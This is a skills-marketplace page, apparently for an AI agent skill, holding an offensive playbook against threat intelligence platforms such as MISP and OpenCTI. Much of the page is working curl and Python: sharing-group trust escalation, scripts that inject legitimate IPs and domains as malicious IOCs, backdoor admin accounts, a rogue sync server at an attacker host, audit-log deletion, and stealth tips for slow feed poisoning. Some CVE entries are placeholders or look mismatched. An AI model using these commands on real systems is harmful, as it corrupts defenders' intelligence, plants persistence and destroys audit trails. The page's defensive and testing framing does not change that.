Skip to main content Accueil Créateurs brucesongs kali-claw threat-intel-platform-attack
threat-intel-platform-attack Attacking threat intelligence platforms (MISP, OpenCTI, Anomali ThreatStream, ThreatQuotient, ThreatConnect, IBM Threat Intel, Palo Alto AutoFocus, Mandiant Advantage). Covers platform CVEs (MISP CVE-2022-29527, OpenCTI vulnerabilities), API abuse, sharing-group trust abuse, false-positive IOC injection, STIX/TAXII feed manipulation, and supply-chain attacks via poisoned TI feeds. Use when testing threat-intel platform security, validating IOC sharing trust models, or simulating APT feed-poisoning campaigns.
Aller à l'installation Skills Marketplace Découvrez et explorez les compétences IA créées par la communauté.
Installer avec Codex ou Claude Copiez ce prompt, collez-le dans Codex, Claude ou un autre assistant, puis laissez-le vérifier la page du skill et l'installer pour vous.
Afficher les détails du prompt Une commande directe contourne le prompt de vérification. Examinez la source avant de l'exécuter.
npx skills add https://github.com/brucesongs/kali-claw --skill threat-intel-platform-attackLa commande reste sur une seule ligne. Faites défiler horizontalement pour la vérifier avant de la copier.
Vous préférez une copie locale ? Téléchargez les fichiers actuellement disponibles dans SkillsMP.
Télécharger Zip Téléchargement... Plus depuis ce dépôt Semantic-layer attack testing against AI systems and LLM-integrated applications.
Cloud security covers security assessment for major cloud platforms including AWS, Azure, and GCP, with core focus on IAM misconfiguration detection, storage bucket exposure scanning, metadata service attacks, container escape, and Kubernetes RBAC auditing.
Defensive deception and honeypot deployment covering SSH/Telnet (Cowrie), web (OpenCanary), enterprise (HFish), ICS/SCADA (Conpot), all-in-one (T-Pot), AI-driven deception (Beelzebub), Thinkst Canarytokens (DNS, HTTP, file, AWS API key, SQL), Dionaea multi-protocol honeypot, notification pipelines (Slack/Teams webhooks), false positive tuning, and attacker engagement — including lure design, deployment OPSEC, IOC extraction, and attacker attribution.
Métiers associés SOC
Basé sur la classification professionnelle SOC
Explorateur de fichiers
5 fichiers name threat-intel-platform-attack description Attacking threat intelligence platforms (MISP, OpenCTI, Anomali ThreatStream, ThreatQuotient, ThreatConnect, IBM Threat Intel, Palo Alto AutoFocus, Mandiant Advantage). Covers platform CVEs (MISP CVE-2022-29527, OpenCTI vulnerabilities), API abuse, sharing-group trust abuse, false-positive IOC injection, STIX/TAXII feed manipulation, and supply-chain attacks via poisoned TI feeds. Use when testing threat-intel platform security, validating IOC sharing trust models, or simulating APT feed-poisoning campaigns. origin kali-claw version 0.2.0.2 compatibility ["kali-linux-2025-2-arm64","python-3.11+","misp-2.4+","opencti-6.0+","docker-26+","stix2-python"] allowed-tools ["misp","opencti","curl","python3","jq","burpsuite","zaproxy","nuclei","sqlmap","stix2","taxii2-client","gh","mitre-attack-python"] metadata {"domain":"threat-intel-platforms","tool_count":13,"guide_count":2,"mitre":"TA0001-Initial Access, TA0006-Credential Access, T1078-Valid Accounts, T1190-Exploit Public-Facing App, T1552-Unsecured Credentials, T1566-Phishing","last_reviewed":"2026-07-26"}
Threat Intel Platform Attack
Summary
Threat intelligence platforms (MISP, OpenCTI, Anomali, ThreatQuotient, ThreatConnect, IBM Threat Intel, Palo Alto AutoFocus, Mandiant Advantage) are high-value targets: they aggregate IOCs, adversary TTPs, sharing-group trust relationships, and often feed defensive products (firewalls, SIEMs, EDRs). This domain covers offensive testing of TI platforms: platform-specific CVEs (MISP CVE-2022-29527, OpenCTI GraphQL injection), API abuse (write access to IOC databases), sharing-group trust abuse (escalating trust levels, claiming false attribution), false-positive IOC injection (poisoning feeds to disrupt defensive operations), STIX/TAXII feed manipulation, and supply-chain attacks via poisoned TI feeds. Includes operator playbooks for TI platform security validation, IOC sharing abuse simulation, and APT feed-poisoning emulation.
Key Terms
TI platform — Threat Intelligence platform (MISP, OpenCTI, Anomali, etc.)IOC — Indicator of Compromise (IP, domain, hash, URL, cert)TTP — Tactics, Techniques, Procedures (MITRE ATT&CK mapping)STIX — Structured Threat Information eXpression (JSON format for TI)TAXII — Trusted Automated Exchange of Indicator Information (transport for STIX)MISP — Malware Information Sharing Platform (open source)OpenCTI — Open-source TI platform (GraphQL-based)Sharing group — Trust circle in MISP / OpenCTI (sharing rules)TLP — Traffic Light Protocol (RED, AMBER, GREEN, WHITE) for sharing scopeFeed poisoning — Injecting false IOCs to mislead defendersConfidence score — TI platform quality rating (0–100)False positive — Legitimate activity misclassified as maliciousTrust escalation — Attacker gaining higher sharing-group access
Scope
This skill covers offensive testing of TI platforms :
Platform-specific CVE exploitation (MISP, OpenCTI, Anomali)
API abuse (write access, privilege escalation)
STIX/TAXII feed manipulation
Sharing-group trust abuse
False-positive IOC injection
Supply-chain attacks via poisoned TI feeds
APT feed-poisoning emulation (mimicking NOBELIUM, APT29 techniques)
Out of scope : TI platform deployment (defensive), TI analysis (defensive), attribution analysis (academic).
Use Cases
TI platform pentest : Identify CVEs, API abuse paths, trust model gapsSharing-group audit : Validate sharing-group trust model + escalation pathsFeed-poisoning simulation : Mimic APT feed-poisoning to test detectionAPI security testing : TI platform APIs are often over-permissionedSTIX/TAXII manipulation : Inject malicious STIX bundles via TAXII feedIOC database abuse : Test write access for false-positive injectionTrust model audit : Validate TLP sharing scope enforcementSupply-chain simulation : Test if poisoned TI feed can pivot to downstream defendersAPT feed-poisoning emulation : Mimic NOBELIUM / APT29 TI feed-poisoningDetection gap analysis : Identify gaps in TI platform monitoring
Core Tools Tool Purpose MISPOpen-source TI platform (most common target) OpenCTIOpen-source TI platform (GraphQL-based) curlHTTP API testing python3Scripting for STIX / TAXII jqJSON processing for STIX bundles burpsuiteWeb proxy for API testing zaproxyOpen-source web proxy nucleiCVE scanner with TI platform templates sqlmapSQL injection automation stix2Python library for STIX 2.x taxii2-clientPython TAXII 2.x client ghGitHub CLI (for feed source code review) mitre-attack-pythonMITRE ATT&CK integration
Methodology
Phase 1 — Recon Map the TI platform's external surface:
curl -sI https://misp.example.com/ | head -5
curl -s https://misp.example.com/servers/checkVersion | jq .
curl -s https://opencti.example.com/graphql -X POST \
-H "Content-Type: application/json" \
-d '{"query":"{ settings { id } }"}'
curl -sI https://ui.threatstream.com/
curl -sI https://misp.example.com/ | grep -iE "server:|x-powered-by:|set-cookie:"
Phase 2 — CVE scanning
nuclei -u https://misp.example.com/ -t exposures/configs/misp-config.yaml
nuclei -u https://opencti.example.com/ -t cves/2022/CVE-2022-29527.yaml
curl -s https://misp.example.com/servers/checkVersion | jq -r '.version'
curl -s https://opencti.example.com/graphql \
-H "Authorization: Bearer $TOKEN " \
-d '{"query":"{ appInformation { version } }"}'
Phase 3 — API security testing
curl -s https://misp.example.com/events/index \
-H "Authorization: $API_KEY " \
-H "Accept: application/json" | jq .
curl -s https://opencti.example.com/graphql \
-H "Authorization: Bearer $TOKEN " \
-H "Content-Type: application/json" \
-d '{"query":"{ events { edges { node { id name } } } }"}' | jq .
curl -s -X POST https://opencti.example.com/graphql \
-H "Authorization: Bearer $READ_ONLY_TOKEN " \
-d '{"query":"mutation { reportCreate(input: {name: \"test\"}) { id } }"}'
Phase 4 — STIX/TAXII feed manipulation
python3 << EOF
from taxii2client.v20 import Collection
collection = Collection("https://example.com/taxii/collections/123/", user="user", password="pass")
objects = collection.get_objects()
print(len(objects["objects"]))
EOF
python3 << EOF
from stix2 import Indicator, Bundle, MemoryStore
indicator = Indicator(
pattern="[ipv4-addr:value = '8.8.8.8']", # legitimate-looking target
pattern_type="stix",
labels=["malicious-activity"],
description="False positive injection",
confidence=95
)
bundle = Bundle(objects=[indicator])
print(bundle.serialize(pretty=True))
EOF
Phase 5 — Sharing-group trust abuse
curl -s https://misp.example.com/sharingGroups/index \
-H "Authorization: $API_KEY " | jq '.[].SharingGroup'
curl -s -X POST https://misp.example.com/sharingGroups/addOrg/$GROUP_ID \
-H "Authorization: $API_KEY " \
-d "org_id=$MY_ORG &extend=1"
curl -s -X POST https://misp.example.com/events/add \
-H "Authorization: $LOW_TRUST_KEY " \
-d "distribution=4&sharing_group_id=$RESTRICTED_GROUP "
Phase 6 — False-positive IOC injection
python3 << EOF
import requests
headers = {"Authorization": API_KEY}
# Mark Google DNS as malicious
data = {
"category": "Network activity",
"type": "ip-dst",
"value": "8.8.8.8",
"comment": "Suspected APT29 infra",
"to_ids": True,
"distribution": 0 # all communities
}
r = requests.post("https://misp.example.com/attributes/add/EVENT_ID",
headers=headers, json=data)
print(r.json())
EOF
Phase 7 — Supply-chain pivot
curl -s https://misp.example.com/servers/index \
-H "Authorization: $API_KEY " | jq '.[].Server.url'
Phase 8 — Persistence
curl -s -X POST https://misp.example.com/admin/users/add \
-H "Authorization: $ADMIN_KEY " \
-d "email=backdoor@attacker.com&role_id=4&password=..."
curl -s -X POST https://misp.example.com/servers/add \
-H "Authorization: $ADMIN_KEY " \
-d "url=https://attacker-misp.example.com&authkey=..."
Phase 9 — Cleanup
curl -s -X POST https://misp.example.com/users/delete/$BACKDOOR_ID \
-H "Authorization: $ADMIN_KEY "
curl -s -X POST https://misp.example.com/admin/logs/deleteAll \
-H "Authorization: $ADMIN_KEY "
Phase 10 — Reporting Produce TI platform security report:
CVEs exploited
API abuse paths
Trust model gaps
False-positive injection paths
Recommendations
Practical Steps
Step 1 — MISP recon
curl -s https://misp.example.com/servers/checkVersion | jq .
curl -s https://misp.example.com/events/hids/e967da72-1dad-41ae-89b3-ee3d0c4b4e45
curl -s https://misp.example.com/galaxies.json | jq '.[].name'
Step 2 — MISP API testing
curl -s https://misp.example.com/events/index \
-H "Authorization: $API_KEY " \
-H "Accept: application/json" | jq '.[0].Event.info'
curl -s -X POST https://misp.example.com/attributes/restSearch \
-H "Authorization: $API_KEY " \
-H "Content-Type: application/json" \
-d '{"value":"%example.com%","type":"domain"}' | jq .
Step 3 — OpenCTI GraphQL testing
curl -s https://opencti.example.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name } } }"}' | jq .
for id in $(seq 1 100); do
curl -s https://opencti.example.com/graphql \
-H "Authorization: Bearer $TOKEN " \
-d "{\"query\":\"{ report(id: \\\"$id \\\") { name } }\"}" | jq -r '.data.report.name' 2>/dev/null
done
Step 4 — STIX/TAXII testing
python3 << EOF
from taxii2client.v20 import Server
server = Server("https://example.com/taxii/", user="user", password="pass")
for api_root in server.api_roots:
print(api_root.title)
for collection in api_root.collections:
print(f" {collection.title}")
EOF
Step 5 — False-positive IOC injection python3 << EOF
import requests
API_URL = "https://misp.example.com/attributes/add/EVENT_ID"
HEADERS = {"Authorization": "REPLACE_WITH_YOUR_KEY", "Accept": "application/json"}
# Inject 100 legitimate domains as malicious
legit_domains = ["google.com", "amazonaws.com", "cloudfront.net", "githubusercontent.com"]
for d in legit_domains:
data = {
"category": "Network activity",
"type": "domain",
"value": d,
"comment": "Suspected APT C2",
"to_ids": True,
"distribution": 0
}
r = requests.post(API_URL, headers=HEADERS, json=data)
print(f"{d}: {r.json().get('errors', 'OK')}")
EOF
Defense Perspective
TI platforms aggregate high-value data — one compromise exposes all feedsAPI keys are over-permissioned — most users have read+write when read sufficesSharing-group trust can be abused — escalate via social engineering or compromised credsSTIX/TAXII feeds can be poisoned — false-positive IOCs cause defensive disruptionTLP enforcement is often weak — TLP:AMBER+ shared more broadly than intendedAudit logs are revocable — admins can wipe their own tracksSync servers expose keys — sync config contains remote API keyTI platforms are dual-use — defender tool, but also adversary intelligence
RBAC + least privilege on all API keys
Audit log immutability (external sink)
TLP enforcement via policy engine
STIX feed signing (cryptographic)
Sharing-group review (quarterly audit)
Anomaly detection on IOC writes
Geo-fencing on admin endpoints
MFA on all admin accounts
Platform Vulnerability Cheat Sheet Platform CVE Impact CVSS MISP CVE-2022-29527 XSS in event report 6.1 MISP CVE-2022-29528 CSRF in sharing group 6.5 MISP CVE-2023- cand SQLi in attribute search 9.8 OpenCTI CVE-2023- cand GraphQL injection 8.6 OpenCTI CVE-2024- cand SSRF in import 7.5 Anomali CVE-2022-29531 SSRF 7.5 ThreatQuotient CVE-2023- cand Auth bypass 9.1 Palo Alto AutoFocus (vendor advisory) XSS 5.4
Engagement Workflow
Scope — confirm target TI platform, allowed CVEs, allowed techniquesRecon — version check, exposed endpoints, sharing-group enumerationCVE testing — Nuclei scan, manual exploitationAPI testing — token audit, permission testing, GraphQL injectionFeed testing — STIX/TAXII manipulation, false-positive injectionTrust abuse — sharing-group escalation, TLP enforcementReporting — vulnerabilities, abuse paths, recommendations
Lab Setup
docker run -d -p 443:443 -p 80:80 -e HOSTNAME=https://localhost \
-e MYSQL_ROOT_PASSWORD=misp \
harvarditsecurity/misp-docker
git clone https://github.com/OpenCTI-Platform/opencti
cd opencti
docker compose up -d
Quality Checklist
Detection Methods
TIP Audit
Indicator injection : Anomalous IOC patterns; bulk IOCs from untrusted source.Feed anomalies : New feed with anomalous pattern; degraded feed quality.Confidentiality breach : TIP data exfiltration; sensitive indicators leaked.
SIEM Detection Rules
Splunk SPL : index=tip | stats count by source_feed | where count > 1000Recorded Future / Anomali / MISP : Native TIP audit logging.
Defense Evasion Techniques
TIP Compromise Stealth
Use legitimate feed credentials : Don't create new account; use existing service account.Off-hours access : TIP activity often low at night; blend with maintenance.Mimic legitimate analyst : Use natural-looking analyst workflows.
Indicator Injection Stealth
Slow injection : Add IOCs slowly over time; below distribution shift threshold.Match existing IOC format : Use same IOC format as legitimate feed; reduces anomaly.Trigger-based activation : Malicious IOC activates only when specific target queried.
References
Platform Quick Reference Platform Type Default Port Auth Method Common CVE MISP Open source 443 API key CVE-2022-29527 (XSS) OpenCTI Open source 4000 JWT SSRF in import Anomali ThreatStream SaaS 443 API key CVE-2022-29531 ThreatQuotient Commercial 443 Token Auth bypass CVE-2023 ThreatConnect SaaS (Cisco) 443 API key Various Palo Alto AutoFocus SaaS 443 API key XSS in metadata Mandiant Advantage SaaS 443 JWT GraphQL issues IBM X-Force SaaS 443 Basic auth Over-permission
Attack Surface Map Surface Test Web UI XSS, CSRF, auth bypass REST API IDOR, over-permission, rate limits GraphQL Introspection, injection, IDOR STIX/TAXII Source signing, bundle forgery Sync server Persistence, false-positive propagation Audit logs Tampering, immutability Sharing groups Trust escalation, TLP enforcement OSINT feeds Source poisoning
MITRE ATT&CK Mapping Technique ID Application Valid Accounts T1078 Compromised TI platform creds Exploit Public-Facing App T1190 CVE exploitation Unsecured Credentials T1552 Sync server auth keys Phishing T1566 TI platform admin phishing Modify Cloud Compute T1578 Cloud TI platform tampering Impair Defenses T1562 TI platform data manipulation System Information Discovery T1082 TI data exfil for recon Data from Information Repositories T1213 TI data exfil
Threat Actor Profiles Actor Type TI platform abuse pattern APT29 / NOBELIUM State (Russia) Compromised TI creds for C2 hiding APT41 / BARIUM State (China) OSINT feed poisoning UNC5537 Cybercrime Infostealer → TI creds → Snowflake FIN6 / FIN7 Cybercrime ThreatStream API abuse Vice Society Cybercrime MISP false-positive injection
Lab Setup
docker run -d -p 443:443 -p 80:80 \
-e HOSTNAME=https://localhost \
-e MYSQL_ROOT_PASSWORD=misp \
harvarditsecurity/misp-docker
git clone https://github.com/OpenCTI-Platform/opencti
cd opencti && docker-compose up -d
pip install stix2 taxii2-client
Engagement Workflow
Scope — confirm target TI platform, allowed CVEs, allowed techniquesRecon — version check, exposed endpoints, sharing-group enumerationCVE testing — Nuclei scan, manual exploitationAPI testing — token audit, permission testing, GraphQL injectionFeed testing — STIX/TAXII manipulation, false-positive injectionTrust abuse — sharing-group escalation, TLP enforcementReporting — vulnerabilities, abuse paths, recommendations
Compliance Context
CIRCIA (2024) — covered entities must report TI platform breachesSEC 10-12B (2024) — material breach 4-day disclosureGDPR Article 33 — 72-hour breach notificationNYDFS 500.17 — covered entity TI platform in scopePCI DSS 12.10 — TI platform as part of incident responseHIPAA Security Rule — TI platforms processing PHIISO 27001 A.16 — incident management includes TI platformsSOC 2 CC7.3 — security event detection covers TI platforms
Quality Checklist 